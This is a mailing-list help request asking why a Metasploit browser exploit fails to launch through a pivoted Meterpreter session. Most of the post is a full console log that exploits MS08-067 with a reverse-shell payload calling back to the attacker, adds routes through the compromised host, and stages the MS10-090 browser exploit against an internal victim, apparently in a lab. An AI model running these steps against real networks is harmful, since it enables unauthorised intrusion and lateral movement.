Unable to start Web Browser exploit on pivoted host

[Hauke Mehrtens <hauke () hauke-m de>]

I want to start a msf web server with a browser exploit on a already
exploited host to exploit more host in the internal network visiting its
website.

My network configuration looks like this:
Host A ----------------- Host P --------------- Host V
(Attacker)              (Pivoted)               (Victim)
192.168.56.1/24         192.168.56.3/24
                        192.168.57.4/24         192.168.57.3/24
Ubuntu 10.10            Windows 2003 R2 SP2     Windows XP

I am the attacker (Host A) and got a meterpreter session on the pivoted
Host P. Now I want to start some web browser exploit to exploit Host V
when it accesses this website. But when doing so I get the following
error message:

[-] Exploit exception: undefined method `on_client_connect_proc=' for
#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel:0x7fcac33318b0>

The Host V does not have a direct network connection to the attacker.
When starting the msf web server with the browser exploit on a local
network interface on Host A, everything works like expected.

This was done on Ubuntu 10.10 amd64 and i386 with the msf version from
today. This was done with and without root rights.

If this is a normal behavior and should not work, how do I forward a
open port on the Host P to a web server on Host A so that Host V can
access the browser Exploit?

Hauke


Here is the complete log with the things I did in Metasploit.

msf > load auto_add_route
[*] Successfully loaded plugin: auto_add_route
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.3     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER,
SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread,
none, process
   LHOST     192.168.56.1     yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.56.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 ->
192.168.56.3:1030) at Fri Jan 21 19:05:30 +0100 2011
[*] AutoAddRoute: Routing new subnet 192.168.56.0/255.255.255.0 through
session 1
[*] AutoAddRoute: Routing new subnet 192.168.57.0/255.255.255.0 through
session 1
[-] The 'stdapi' extension has already been loaded.

meterpreter > background
msf exploit(ms08_067_netapi) > use windows/browser/ms10_090_ie_css_clip
msf exploit(ms10_090_ie_css_clip) > set PAYLOAD
windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_090_ie_css_clip) > set SRVHOST 192.168.57.4
SRVHOST => 192.168.57.4
msf exploit(ms10_090_ie_css_clip) > set LHOST 192.168.57.4
LHOST => 192.168.57.4
msf exploit(ms10_090_ie_css_clip) > set URIPATH /
URIPATH => /
msf exploit(ms10_090_ie_css_clip) > show options

Module options (exploit/windows/browser/ms10_090_ie_css_clip):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     192.168.57.4     yes       The local host to listen on.
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming
connections
   SSLVersion  SSL3             no        Specify the version of SSL
that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this
exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread,
none, process
   LHOST     192.168.57.4     yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(ms10_090_ie_css_clip) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.57.4:4444 via the meterpreter on
session 1
[-] Exploit exception: undefined method `on_client_connect_proc=' for
#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel:0x7fcac33318b0>
msf exploit(ms10_090_ie_css_clip) >

_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework